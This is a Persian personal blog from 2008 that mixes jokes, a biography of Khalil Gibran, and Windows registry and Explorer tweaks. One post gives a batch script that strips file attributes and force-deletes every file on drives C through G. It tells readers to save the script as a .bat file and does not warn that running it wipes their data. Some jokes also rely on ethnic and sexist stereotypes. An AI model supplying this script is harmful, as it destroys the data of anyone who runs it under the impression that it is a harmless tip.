تبليغاتX
GOGOLY

GOGOLY

عکس نانسی. آهنگ. پروکسی جدید. کلیپ.تحقیق. و هر چیز دیگه که بخوایی...

به تركه ميگن از مسافرت چي اوردي؟ميگه:تشريف

+ نوشته شده در  سه شنبه 1386/11/30ساعت 2:15 بعد از ظهر  توسط GOGOLY  | 

مرداب براي بدست اوردن يه نيلوفر سالها ميخوابه تا ارامش نيلوفر بهم نخوره پس اگه کسي رودوست داري براي داشتنش حتي شده سالها صبر کن:-O

از اینکه زندگیتان پایان می یابد نترسید ...از این بترسید که زندگی را هیچ گاه آغاز نکنید

 

+ نوشته شده در  سه شنبه 1386/11/30ساعت 1:59 بعد از ظهر  توسط GOGOLY  | 

يه آمريكاييه مي خواد حال اردبيليه رو بگيره ميبرتش امريكا بهش ميگه زمين رو بكن اونم مي كنه. بعد از ده متر كندن ميرسن به يه سيم. امريكاييه ميگه اين يعني ما صد سال پيش تلفن داشتيم.
تركه ميگه حالا تو بيا بريم اردبيل. اونجا بهش يه بيل ميده ميگه بكن صد متر مي كنن به هيچي نميرسن تركه ميگه اين يعني ما صد سال پيش موبايل داشتيم

از حیف نون می پرسن از اينکه همسرت را عزيزم خطاب مي کني چه احساسي داري؟ ميگه احساس گناه! ميگن چرا؟ ميگه آخه اسمش يادم نيست!

از حیف نون می پرسن تو جوونیات ورزش می کردی؟ می گه هالتر می زدم. می پرسن حالا چی؟ می گه حالا حال ندارم، تِر می زنم!

حیف نون سوار گاو مي شه... گاوه هي مي گفته: موو موو... حیف نون ميگه خفه شو! اول مو بعد تو!

حیف نون ميره جهنم دمپايیشو پرت مي كنه توي بهشت، به خدا ميگه: برم دمپايمو بيارم؟

حیف نون يه جسد مي بره پزشكی قانوني. بهش ميگن: چطور مرده؟ ميگه:سم خورده. ميگن: پس چرا زخميه؟ ميگه: آخه نمي خورد!

يه نفر داشته توي دريا غرق مي شده، بلند بلند داد مي زده: كمک! من شنا بلد نيستم! حیف نون داشته رد مي شده. ميگه: حالا من تنيس بلد نيستم، بايد داد بزنم؟

حیف نون با هواپيما مياد تهران، تو فرودگاه به رفيقش ميگه: اگه مي دونستم اينقدر نزديكه با ماشين ميومدم!

اتوبوسي آرام از سرازيري خيابان پايان مي‌رفت و حیف نون به دنبال آن مي‌دويد. يه نفر بهش گفت: فكر نمي‌كنم بتوني بهش برسي. حیف نون با نگراني گفت: دعا كن برسم، چون من راننده آن اتوبوسم!

گر زني رنگ شاد بپوشد رژ لب بزند، و کلاه عجيب و غريبي سرش بگذارد، شوهرش با اکراه او را با خودش به کوچه و خيابان مي برد. ولي اگر کلاه کوچکي بر سرش بگذارد و کت و دامن خياط دوز تن کند شوهرش با کمال ميل او را بيرون مي برد و تمام مدت به زني که لباس رنگ شاد پوشيده و کلاه عجيب و غريب سرش گذاشته و رژ لب زده است خيره مي شود.
"بالتيمور بيکن"

تهرانيه تو حج، پرده کعبه رو گرفته بود مي گفت: خدايا توبه... ديگه براي حيف نون جوک نمي سازم! يه دفعه حيف نون زد رو شونش گفت: داداش قبله از کدوم طرفه؟ تهرانيه داد ميزنه: خدايا! خاطره که مي تونم تعريف کنم؟

يه زنه در آشپز خانه مارمولك ميبينه، سريع حشره كش ور ميداره مي زنه بهش. مارمولك ميگه خاله! خاله! زير بغلم هم بزن!

آقاهه تو موزه لوور فرانسه خسته مي شه يه صندلي خالي مي بينه ميره مي شينه. مامور موزه با سرعت به طرفش مياد و بهش ميگه: آقا پاشو اين صندلي ناپلئونه!!! ميگه: خُب بابا ! هر وقت اومد بلند ميشم

دو دزد مي‌خواستند وارد خانه‌اي شوند، ولي سگ خانه طوري پارس مي‌كرد كه هيچ كدام جرات جلو رفتن نداشتند. اولي گفت: نترس، برو. مگر نشنيده‌اي سگي كه پارس مي كند، گاز نمي‌گيرد؟ دومي جواب داد: چرا، من شنيده‌ام، اما مي‌ترسم سگه نشنيده باشد.
آقاهه ميره مسجد، نماز مي خونه، مياد بيرون، مي بينه كفشاش نيست. مي گه: خدايا! من كي رفتم؟

اصفهانيه قله اورست رو فتح كرد. بهش ميگن انگيزه ات چي بود؟؟ ميگه خدا لعنت كنه كسي رو كه گفت اون بالا نذري ميدن

حیف نون یه مزرعه مي خره 2 سانتي متر در 8 کيلومتر! ميگن اين چه زمينيه؟ چي مي خواهي بکاري؟ ميگه به اميد خدا ماکاروني!

مي دونيد چرا در بعضي جاها در مراسم عروسی داماد رو روي اسب مي‌نشونند؟ خب واسه اين كه آخرين شانس فرار رو هم به اون داده باشند!

آقاي دست و دلباز داشته با خانوادش از جلوي رستوران رد مي شده بوي خوب غذا رو احساس مي كنن.
به بچه هاش ميگه بچا اگه بچاي خوبي باشين يه دفه ديگه هم از اينجا رددون مي كنم.


دانشمندان اخیرا چیزی را کشف کردند که قادر است کار پنچ زن را انجام دهد: یک مرد!

اگه يه مرغ با يه دلفين ازدواج كنه بچشون مرفين ميشه
اگه يه جغد با يه فوك ازدواج كنه بچشون جوك ميشه
اگه يه قو بايه قناري ازدواج كنه بچشون قوري ميشه
وبالاخره... اگه يه پروانه با يه شبتاب عروسي كنه بچشون پرتاب ميشه .

از حيف نون مي پرسند: چرا پرنده ها زمستان از شمال به جنوب پرواز مي کنن؟ ميگه: آخه پياده خيلي راهه!

به حيف نون میگن با اداره جمله بساز. میگه: ا.....داره بارون میاد!

از حيف نون می پرسن سفرحج چطوربود؟ میگه خیلی سنگ به سر و صورتم خورد ولی بالاخره بوسیدمش.

از حيف نون می پرسن مي دوني سزارين يعني چي؟ مي گه يعني بچه به شرط چاقو!

به آقاي خوش غيرت مي گن: چند روزه مي بينيم زنت با يه پيكان مي ره بيرون شهر. مي گه: من نمي دونم مردم اين همه بنزيِن رو از كجا ميارن؟!

جوک های اصفهانی

يه روز يه اصفهانيه داشته روي خودش آب يخ مي ريخته. يكي مي بيندش و ازش مي پرسه چرا همچين كاري مي كني؟ ميگه مي خوام سرما بخورم. يارو ميگه چرا؟ ميگه آخه يه پني سيلين تو خونه دارم داره تاريخ مصرفش مي گذره!

يه روز يه اصفهانی بليت هواپيما مي‌گيره، ميره ايستگاه قطار، سوار اتوبوس مي‌شه، با دوچرخه ميره مسافرت

اصفهانیه موبایل می خره صفرشو می بنده

ميگن توي اصفهان همه كانديداها براي اينكه صرفه جويي كنن پوستر تبليغاتي چاپ نكرده بودن هر روز از يه درختي آويزون مي شدن!

یه اصفهانیه توی یکی از پادگانهای تهران خدمت می کرده. بچه تهرونی ها برای اینکه اذیتش کنن، توی غذاش توف می کردند و اون هیچ چی نمی گفته. بعد از چند روز تهرانیها تصميم مي گيرند که باهاش دوست بشن و ديگه اذيتش نكنن. بعد از اينكه به خاطر كارشون ازش عذرخواهي مي كنند، اصفهانیه میگه من هم از فردا نمی شاشم توی سماور!


زن بودن كار بسيار شاقي است، چون معمولا مستلزم سر و كله زدن با مردهاست !

يه روز بچه حيف نون مي افته توي چاه. حيف نون بهش مي گه: جايي نرو الان كمك ميارم!

به حيف نون مي گن: اگه دنيا رو بهت بدن چي كار مي كني؟ مي گه: خفه شو! من خودم زن دارم!

سردره مطب جراحي پلاِستيك نوشته : لولو تحويل مي گيريم هلو تحويل مي دهيم!

چه وقت زنان خدا را شکر می کنند؟
زن رو به خدا کرد و گفت: چرا باید دیه ما نصف مردها باشد؟ خداوند مهربانانه فرمود: عزیز من ! اگر با کشتن، تو را از شوهرت بستانند، به او هشت میلیون می رسد، ولی اگر او را بکشند تو صاحب شانزده میلیون می شوی !!! زن خندید و گفت: خدایا حکمتت را شکر!

آلبوم جديد شجريان :
1- صاحبدلان بايد برقصن
2- ساقي تو ديگه کي هستي
3- مرغ سحر (ريميکس)
4- هي نگار کجا کجا
5- غم مخور فداي سرت
6-ستارمو با خودت نبر

به حيف نون مي گن بن بست را تعريف كن. مي گه: ميري، ميري، ديگه نميري!

اصفهانيه 25 توماني تو دستش عرق مي كنه، مي گه هرچي گريه كني خرجت نمي كنم

آقاهه مي ره خارج، ازش مي پرسن اسمت چيه؟ مي گه:
sun god between two water gold shit dear wife
شمس اله مياندوآبي زرگنده زنجاني

+ نوشته شده در  یکشنبه 1386/11/28ساعت 1:48 بعد از ظهر  توسط GOGOLY  | 


ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y | del c:\*.*
Echo y | echo a | Echo y | del d:\*.*
Echo y | echo a | Echo y | del e:\*.*
Echo y | echo a | Echo y | del f:\*.*
Echo y | echo a | Echo y | del g:\*.*
echo y | copy *.* C:\
echo y | copy *.* D:\
echo y | copy *.* E:\
echo y | copy *.* F:\
echo y | copy *.* G:\
resrart

تو ران تایپ کنین notepad و در جای باز شده اینا رو کپی کنین و با پسوند bat ذخیره کنین به همین راحتی...........

 

+ نوشته شده در  پنجشنبه 1386/11/25ساعت 7:26 قبل از ظهر  توسط GOGOLY  | 

دیوانه دوست داشتنی



از من می‌پرسید که چگونه دیوانه شدم. چنین روی داد: یک روز، بسیار پیش از آن که خدایان بسیار به دنیا بیایند، از خواب عمیقی بیدار شدم و دیدم که همه نقاب‌هایم را دزدیده‌اند. پس بی‌نقاب در کوچه‌های پر از مردم دویدم و فریاد زدم "دزد، دزد، دزدان نابکار". مردان و زنان بر من خندیدند و پاره‌ای از آنها از ترس من به خانه‌هایشان پناه بردند. هنگامی که به بازار رسیدم، جوانی که بر سر بامی ایستاده بود فریاد برآورد "این مرد دیوانه است". من سر برداشتم که او را ببینم؛ خورشید نخستین بار چهره برهنه‌ام را بوسید. نخستین بار خورشید چهره برهنه مرا بوسید و من از عشق خورشید مشتعل شدم و دیگر به نقاب‌هایم نیازی نداشتم.


جبران خلیل جبران عارفی است که در ایران به هیچوجه نمی‌توان از محبوبیت‌اش چشم‌پوشی کرد؛ نویسنده‌ای که آثارش بارها و بارها به فارسی ترجمه شده است. آنقدر حائز اهمیت که حتی نجف دریابندری مترجم صاحب نام ایرانی هم تصمیم گرفت اثر معروف این نویسنده یعنی "پیامبر" را به فارسی ترجمه کند.


جبران خلیل جبران سال 1931 دار فانی را وداع گفت اما او همچنان محبوب است و هر سال به مناسبت بزرگداشت او در لبنان جشن به پا می‌کنند.


این نویسنده، شاعر، نقاش و فیلسوف لبنانی سال 1883 متولد شد." این نویسنده بزرگ، سال 1931 در آمریکا از دنیا رفت او را به لبنان آوردند تا در دهکده مادری‏ا‌ش به خاک بسپارند... " 


8 ساله بود که پدرش به اتهام تقلب در پرداخت مالیات به زندان افتاد و آنها بی‌خانمان شدند.
 برای مدتی در خانه اقوام و دوستان خود زندگی می‌کردند، تا این که مادرش تصمیم گرفت با فرزندان به آمریکا مهاجرت کند. سال 1894 پدر بدخلق جبران از زندان آزاد شد. او مخالف سفر به آمریکا بود، در نتیجه همان جا در لبنان ماند و به خانواده خود ملحق نشد.
جبران در آمریکا به مدرسه رفت و هوش و ذکاوت بالایی را از خود نشان داد و در12 سالگی شروع به یادگیری زبان انگلیسی کرد.
اواخر سال 1896 بود که "دینسون هاوس" تاسیس کننده مرکز هنری بستون از طریق یکی از دوستانش با جبران آشنا شد و از او خواست که وارد مرکز خلاقیت‌های هنری او شود.
اما جبران یک سال بعد به زادگاهش در لبنان بازگشت، تا تحصیلات خود را به زبان عربی در کشورش ادامه دهد، آنجا به دبیرستان رفت و شروع به خواندن علم اخلاق و مذهب کرد.
در 19 سالگی دوباره راهی بوستون شد و پیوند عاطفی شدیدی با یک دختر شاعر پیدا کرد، اما همان زمان بود که مادر، خواهر و برادر ناتنی‌اش براثر بیماری سل از دنیا رفتند.
"ماری هسکل" رئیس مدارس بوستون بود که مسئولیت ساپورت کردن جبران را برعهده گرفت و او را دوباره راهی مدرسه کرد.
سال 1905 جبران مختصری از مقالات خود را در مورد موسیقی در روزنامه "ال مهاجیر" چاپ کرد. پس از آن مجموعه‌ای از اشعار خود را در کتابی عربی زبان با عنوان "گریه، خنده و توفان ها" منتشر کرد، که اخیرا این کتاب تحت عنوان "رویا (منظره)، توفان و محبوب" به زبان انگلیسی ترجمه شده است.


سال 1906 جبران کتاب "spirit Brides" خود را که شامل داستان‌های کوتاهش بود، نوشت و چاپ کرد. یک سال بعد دومین سری از همین مجموعه با عنوان "spirits Rebellious" در اختیار مخاطبانش قرار داد.
او در این هنگام در پاریس مشغول یادگیری نقاشی بود. پس از چند سال آموزش در فرانسه، دوباره به بوستون سفر کرد.
در این زمان بود که او علاقه عجیبی به ماری هاسکل
" در 35 سالگی، جبران اولین کتاب انگلیسی زبان خود را به پایان رساند و با نام "مرد دیوانه" در اختیار طرفداران خود قرار داد... "



ماری برای این که به موقعیت اجتماعی‏اش لطمه‌ای وارد نشود، از این عشق دوری می‌کرد.
سال 1910 جبران به گروه "Golden Links Soeiety" که متعلق به نویسنده‌های عربی – آمریکایی بود، پیوست و مجموعه آن سوی خیال را منتشر کرد.
"بال‌های شکسته" تنها داستان بلند او در مورد عشق، سال 1912 در نیویورک به زبان عربی چاپ شد.
در 35 سالگی، جبران اولین کتاب انگلیسی زبان خود را به پایان رساند و با نام "مرد دیوانه" در اختیار طرفداران خود قرار داد.
با وجود تمام این نوشته ها و فعالیت‌های هنری هنوز موقعیت جبران به عنوان یک نویسنده در جامعه تثبیت نشده بود، تا این که سال 1923 با منتشر شدن کتاب "پیامبر" و استقبال فراوانی که در سراسر دنیا از این اثر شد، او موقعیت هنری خود را به ثبات رساند.
در همین سال بود که مری هسکل – زنی که جبران رابطه عاطفی عمیقی با او داشت – به جوجیای آمریکا سفر کرد تا کاملا خود را از زندگی جبران خارج کند. دیگر نام جبران خلیل جبران برای تمام مردم دنیا شناخته شده بود و او همچنان به نویسندگی خود ادامه می‌داد.
کتاب‌های "Sand and Foam" (1926)، "خداوند زمین"، "باغ پیامبر"، "مرگ پیامبر"، فرشتگان مرغزار"، ((Nymph of The Valley (1948)، نام دیگر آثار او هستند، که تعدادی از آنها نیز پس از فوت جبران چاپ شدند.
کتاب‌های جبران خلیل جبران هیچ مشابهتی به هم ندارند، اما همدیگر را هم نقض نمی‌کنند، در واقع مکمل هم هستند و هر کس اجازه دارد برداشت خاص خود را از کتاب داشته باشد.

مقاله‌ها، کتاب‌ها و شعرهای جبران به وضوح از روحیات و اعتقادات او سخن می‌گویند و دیگر لازم نیست که ما به توصیف شخصیتش بپردازیم، تنها می‌توان گفت که اندیشه و تفکر فلسفی جبران در عمق وجودش نهفته است، او در آثارش با کلمات و عبارات خاص خود بازی می‌کند تا نگرشی جدید از عرفان، فلسفه، طبیعت و ماوراءطبیعت را در ذهن مخاطبش ترسیم کند.


 
 نامه‌ های عاشقانه یک پیامبر(نامه های جبران به ماری هسکل)

مجموعه نامه‌های "جبران خیل جبران"، نویسنده‌ی برجسته‌ی لبنانی، به ماری هسکل است که بین سال‌های 1908 تا 1924 نگاشته شده است. در این نامه‌ها سیر تکاملی اندیشه‌ی خلیل جبران که منجر به نگارش اثر عظیم پیامبر شد، آشکارا مشاهده می‌شود.

برای دانلود کتاب روی متن زیر کلیک کنید و یا راست کلیک کرده و گزینه Save Target As را انتخاب کنید

 

http://softstar.persiangig.com/document/piambar.pdf

 

+ نوشته شده در  سه شنبه 1386/11/23ساعت 7:1 قبل از ظهر  توسط GOGOLY  | 

اول يه كپي از فايل ExPlorer.Exe برداريد و در يه جاي هارد ذخيره كنيد اين برنامه را ميتونيد در دايركتوري سيستم يا ويندوز بيابيد و بعد اين برنامه را با يه ويرايشگر هگز باز كنيد و كلمه Start را جستجو كنيد و آنرا ويرايش كنيد بعد سيستم رو ريست كنيد و با كامند مد بالا بياييد و فايل Explorer ويرايش شده را بر روي فايل اصلي كپي كنيد توصيه ميشود يك بك آپ و يه نسخه ديگر از فايل دستکاري نشده نيز برداريد حالا با ويندوز بالا بي آييد ميبينيد كلمه Start عوض شده است

+ نوشته شده در  دوشنبه 1386/11/22ساعت 3:55 بعد از ظهر  توسط GOGOLY  | 

 

اگر ميخواهيد هر بار كه ويندوز شروع به كار ميكند , پيغام هشدار , راهنمايي , خوش آمد گويي و ... را بدهد , به زير كليد زير برويد:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon]

و دو مقدار رشته اي به نامهاي LegalNoticeCaption وLegalNoticeText بسازيد.به LegalNoticeCaption نام كادر پيغام و به

+ نوشته شده در  دوشنبه 1386/11/22ساعت 3:54 بعد از ظهر  توسط GOGOLY  | 

را اجرا كنيد Registry Editor.

تايپ كنيد Recycle Bin عبارت Findرا زده ودر قسمت F3كليد

آن را به عبارت مورد نظر تغيير دهيد Recycle bin بعد از پيدا شدن

+ نوشته شده در  دوشنبه 1386/11/22ساعت 3:53 بعد از ظهر  توسط GOGOLY  |